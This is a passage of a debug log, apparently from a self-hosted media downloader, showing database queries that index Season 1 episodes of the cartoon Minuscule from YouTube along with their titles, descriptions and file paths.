("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Sans Coquille/ Shell less (Season 1)", "1b8636f9-7add-42d8-94d2-751953a906ed", "pS8uRZ5gnpM", 340, false, 4, "https://www.youtube.com/watch?v=pS8uRZ5gnpM", 73, "/downloads/Miniscule Season 1/2020-07-28 Minuscule - Sans Coquille⧸ Shell less (Season 1)/Minuscule - Sans Coquille⧸ Shell less (Season 1) [pS8uRZ5gnpM].mp4", false, false, false, [], 1, ~U[2020-07-28 14:30:03Z], ~U[2025-12-14 07:51:39Z], ~U[2025-12-14 07:51:39Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Sans Coquille/ Shell less (Season 1)", "pS8uRZ5gnpM", 340, false, 4, "https://www.youtube.com/watch?v=pS8uRZ5gnpM", "/downloads/Miniscule Season 1/2020-07-28 Minuscule - Sans Coquille⧸ Shell less (Season 1)/Minuscule - Sans Coquille⧸ Shell less (Season 1) [pS8uRZ5gnpM].mp4", false, ~U[2020-07-28 14:30:03Z]] 00:51:39.928 [debug] QUERY OK source="sources" db=0.4ms idle=398.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:51:39.929 [debug] QUERY OK source="media_profiles" db=0.3ms idle=20.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:51:39.930 [debug] QUERY OK source="media_items" db=0.4ms idle=20.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89045] 00:51:39.930 [debug] Current batch of media processed. Will check again in 1000ms 00:51:40.931 [debug] Current batch of media processed. Will check again in 1000ms 00:51:41.932 [debug] Current batch of media processed. Will check again in 1000ms 00:51:42.933 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.37, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA nosy fly glues herself on a piece of chewing gum on the asphalt. How will she manage to get rid of her sticky and cumbersome load?\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 336, "filename" => "/downloads/Miniscule Season 1/2020-07-21 Minuscule - Chewing gum (Season 1)/Minuscule - Chewing gum (Season 1) [rnooeTauh9g].mp4", "id" => "rnooeTauh9g", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=rnooeTauh9g", "playlist_index" => 74, "timestamp" => 1595341804, "title" => "Minuscule - Chewing gum (Season 1)", "upload_date" => "20200721"} 00:51:42.934 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1288.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:51:42.935 [debug] QUERY OK source="sources" db=0.4ms idle=1289.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:51:42.937 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=1290.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-07-21 14:30:04Z], 4] 00:51:42.940 [debug] QUERY OK source="media_items" db=2.2ms idle=1292.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA nosy fly glues herself on a piece of chewing gum on the asphalt. How will she manage to get rid of her sticky and cumbersome load?\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Chewing gum (Season 1)", "7ca33504-3340-45f1-8b40-a5f73d44812b", "rnooeTauh9g", 336, false, 4, "https://www.youtube.com/watch?v=rnooeTauh9g", 74, "/downloads/Miniscule Season 1/2020-07-21 Minuscule - Chewing gum (Season 1)/Minuscule - Chewing gum (Season 1) [rnooeTauh9g].mp4", false, false, false, [], 1, ~U[2020-07-21 14:30:04Z], ~U[2025-12-14 07:51:42Z], ~U[2025-12-14 07:51:42Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA nosy fly glues herself on a piece of chewing gum on the asphalt. How will she manage to get rid of her sticky and cumbersome load?\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Chewing gum (Season 1)", "rnooeTauh9g", 336, false, 4, "https://www.youtube.com/watch?v=rnooeTauh9g", "/downloads/Miniscule Season 1/2020-07-21 Minuscule - Chewing gum (Season 1)/Minuscule - Chewing gum (Season 1) [rnooeTauh9g].mp4", false, ~U[2020-07-21 14:30:04Z]] 00:51:42.941 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=405.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:51:42.942 [debug] QUERY OK source="media_profiles" db=0.3ms idle=6.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:51:42.943 [debug] QUERY OK source="media_items" db=0.6ms idle=7.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89047] 00:51:42.943 [debug] Current batch of media processed. Will check again in 1000ms 00:51:43.944 [debug] Current batch of media processed. Will check again in 1000ms 00:51:44.945 [debug] Current batch of media processed. Will check again in 1000ms 00:51:45.946 [debug] Current batch of media processed. Will check again in 1000ms 00:51:46.947 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.33, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 345, "filename" => "/downloads/Miniscule Season 1/2020-07-16 Minuscule - Ugly⧸Moche (Season 1)/Minuscule - Ugly⧸Moche (Season 1) [USvOMFKWvs8].mp4", "id" => "USvOMFKWvs8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=USvOMFKWvs8", "playlist_index" => 75, "timestamp" => 1594909800, "title" => "Minuscule - Ugly/Moche (Season 1)", "upload_date" => "20200716"} 00:51:46.948 [debug] QUERY OK source="sources" db=0.3ms idle=404.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:51:46.948 [debug] QUERY OK source="sources" db=0.2ms idle=303.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:51:46.950 [debug] QUERY OK source="media_items" db=1.1ms idle=303.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-07-16 14:30:00Z], 4] 00:51:46.961 [debug] QUERY OK source="media_items" db=10.1ms idle=305.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Ugly/Moche (Season 1)", "0a286798-909c-4199-bce9-2738efcf85f1", "USvOMFKWvs8", 345, false, 4, "https://www.youtube.com/watch?v=USvOMFKWvs8", 75, "/downloads/Miniscule Season 1/2020-07-16 Minuscule - Ugly⧸Moche (Season 1)/Minuscule - Ugly⧸Moche (Season 1) [USvOMFKWvs8].mp4", false, false, false, [], 1, ~U[2020-07-16 14:30:00Z], ~U[2025-12-14 07:51:46Z], ~U[2025-12-14 07:51:46Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Ugly/Moche (Season 1)", "USvOMFKWvs8", 345, false, 4, "https://www.youtube.com/watch?v=USvOMFKWvs8", "/downloads/Miniscule Season 1/2020-07-16 Minuscule - Ugly⧸Moche (Season 1)/Minuscule - Ugly⧸Moche (Season 1) [USvOMFKWvs8].mp4", false, ~U[2020-07-16 14:30:00Z]] 00:51:46.962 [debug] QUERY OK source="sources" db=0.3ms idle=316.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:51:46.962 [debug] QUERY OK source="media_profiles" db=0.3ms idle=14.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:51:46.963 [debug] QUERY OK source="media_items" db=0.4ms idle=14.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89049] 00:51:46.963 [debug] Current batch of media processed. Will check again in 1000ms 00:51:47.964 [debug] Current batch of media processed. Will check again in 1000ms 00:51:48.965 [debug] Current batch of media processed. Will check again in 1000ms 00:51:49.966 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.37, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 321, "filename" => "/downloads/Miniscule Season 1/2020-07-07 Minuscule - à tes souhaits⧸Bless you (Season 1)/Minuscule - à tes souhaits⧸Bless you (Season 1) [mJ9BAo7nA-c].mp4", "id" => "mJ9BAo7nA-c", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=mJ9BAo7nA-c", "playlist_index" => 76, "timestamp" => 1594132203, "title" => "Minuscule - à tes souhaits/Bless you (Season 1)", "upload_date" => "20200707"} 00:51:49.967 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1321.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:51:49.968 [debug] QUERY OK source="sources" db=0.5ms idle=1322.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:51:49.970 [debug] QUERY OK source="media_items" db=1.0ms idle=1323.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-07-07 14:30:03Z], 4] 00:51:49.973 [debug] QUERY OK source="media_items" db=2.0ms idle=1325.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - à tes souhaits/Bless you (Season 1)", "a656506c-ce52-403f-9888-d4985593742e", "mJ9BAo7nA-c", 321, false, 4, "https://www.youtube.com/watch?v=mJ9BAo7nA-c", 76, "/downloads/Miniscule Season 1/2020-07-07 Minuscule - à tes souhaits⧸Bless you (Season 1)/Minuscule - à tes souhaits⧸Bless you (Season 1) [mJ9BAo7nA-c].mp4", false, false, false, [], 1, ~U[2020-07-07 14:30:03Z], ~U[2025-12-14 07:51:49Z], ~U[2025-12-14 07:51:49Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - à tes souhaits/Bless you (Season 1)", "mJ9BAo7nA-c", 321, false, 4, "https://www.youtube.com/watch?v=mJ9BAo7nA-c", "/downloads/Miniscule Season 1/2020-07-07 Minuscule - à tes souhaits⧸Bless you (Season 1)/Minuscule - à tes souhaits⧸Bless you (Season 1) [mJ9BAo7nA-c].mp4", false, ~U[2020-07-07 14:30:03Z]] 00:51:49.974 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=424.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:51:49.974 [debug] QUERY OK source="media_profiles" db=0.4ms idle=6.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", 